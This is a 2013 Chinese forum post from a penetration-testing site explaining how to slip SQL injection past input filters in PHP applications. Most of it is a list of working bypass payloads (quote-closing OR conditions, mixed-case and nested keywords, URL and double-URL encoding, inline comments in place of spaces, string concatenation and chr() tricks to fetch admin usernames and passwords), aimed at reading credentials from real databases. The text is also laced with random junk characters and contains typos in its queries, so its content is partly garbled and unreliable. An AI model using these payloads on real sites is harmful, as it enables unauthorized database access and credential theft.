中国网络渗透测试联盟

标题: PHP中SQL注入,绕开过滤,照样注入 [打印本页]

作者: admin    时间: 2013-1-13 09:50
标题: PHP中SQL注入,绕开过滤,照样注入
SQL注入。有攻有防。知道进攻。才懂得防守.
+ I' q) b# j* `/ g
: X3 z& S6 `) p6 w0 P) h9 g有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。1 l, F+ N, B" v: E/ ~0 K5 n
- o6 }4 Q5 e* N) c+ S: B
唱出会删除或者净化一些字符,或者阻止常用的sql关键词。( L  p2 T# S' u/ a' M
  s( M/ ?/ G$ ?
我们通常有以下几种技巧,去避开这些过滤。
0 Q, H* P3 Y4 ]. c& P, ?9 I' {7 D5 u6 S. W
1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。' q& r2 l  W. S1 F4 }# \

) H1 s( V+ W5 N: X) H" `# xA,如果注入一个数字数据字段,就不需要使用单引号。( Y& k* J; v  _) [* s% p
" t# S8 b; F" ^4 O, N! l) j' s
B,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。" r- J+ S; Q4 j/ E6 ?( @& ?2 }

& ]/ t. N  e* G比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a! W/ E. ?/ F/ \  S& i2 {

0 T1 q. j3 p; i" Z* K* W目的其实很简单,就是把后面的单引号给闭合掉。
3 l7 d0 L  \" W; L3 m; n7 n2 a! @
# W7 C- ~& [5 v+ F2 K, gC,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。& C4 h, _6 X7 _; ^
# o* C" ?2 [1 @! j9 |
只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。' D+ p# z6 u: q" L& r

6 W# N* ?6 A, A5 d- Q2,避免使用简单确认: `7 C4 F- |% _) `/ x
% Z/ D% l& E: c' o
一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。2 D  J$ ?3 z+ [
3 C9 T4 G) |$ W  T4 Q
这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
% ^* g# g0 w) X
7 L7 x, _* s& X; R8 v0 |" jA,如果select关键词被阻止或删除) C" |; y1 E* |: g) G/ b
- H* [# M. @8 ?4 K1 o
我们可以输入:9 l& x0 v# v6 _- N3 ]! f
2 }' J5 U/ `; W5 F
SeLeCt       注意大小写' s  Y* I- k: m2 _4 J
3 v4 v' n9 k7 b% U2 c* Y  T5 h
selselectect    还记得ewebeditor是怎么过滤asp的么?
# U' s' P: b' T- ]$ [. T  n
/ ]& K* ^  l/ W%53%45%4c%45%43%54                        URL编码
) O) {7 f( y8 N5 ^" |
: l) p, J$ E7 c4 l, [7 f0 G%2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25
3 B: @* z; v# l- W) q- a, f# |' x  o! X$ u
3,使用SQL注释符
5 J9 p1 v& N7 `# W3 n, h
( E& F4 ~% [/ I4 H" MA,使用注释来冒充注入的数据中的空格。+ |; t$ m, x" z" F0 Z+ a* O, H
% F( a0 L& j/ t
select/*yesu*/username,password/*yesu*/from/*yesu*/admin4 X8 [, C' g' [

7 t: O2 i: U6 `$ d/*yesu*/来冒充空格* ~" Q! `6 _/ z: @; A. j
; N/ b4 z/ e( X) }/ q( H
B,使用注释来避开某些注入的确认过滤。
/ I! x0 x2 f: m& ^6 r
. T" X2 Y9 ^0 u$ X1 L# uSEL/*yesu*/ECT username,password fr/*yesu*/om admin
3 i: r( g( U8 U6 |) K8 |' Q
4 C( q7 X( ]3 n, Q" N& D4,处理被阻止的字符串
: T& d2 m- N5 Q
; s8 i8 i4 K6 s4 r; _8 c5 O2 A" l比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。
; G1 l* O' [/ B8 A" P: b  G' E+ W( T
& ?' `5 |6 [' F3 O' r1 h3 i" B8 k我们可以这样
. w- r; f* w  k" A
9 q1 h$ ?! T5 G/ R- WA,oracle数据库: ‘adm’||’in’
' C1 i1 V6 ]* D, A' b. }) \' S" i5 W
B,MSSQL数据库: ‘adm’+’in’% x0 S" t- e, ]1 \0 M

6 T! `7 f" x6 A& h. fC,MYSQL数据库: concat (‘adm’,’in’)
6 j2 i7 K7 d6 T! W/ [- M2 \! X4 E5 z: e, e
D,oracle中如果单引号被阻止了,还可以用chr函数1 H$ W3 I+ q  ^
# |" j+ D6 g# v. z
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
. q/ J. Y. G! B- u& Y) B& x" Q
7 X. d* v1 R' B; T$ K3 e) O还有其他方法。正在收集中.
6 T8 |3 {0 E0 l' s7 M& K/ W' x1 {
- |5 L6 V- b7 L5 o4 l




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2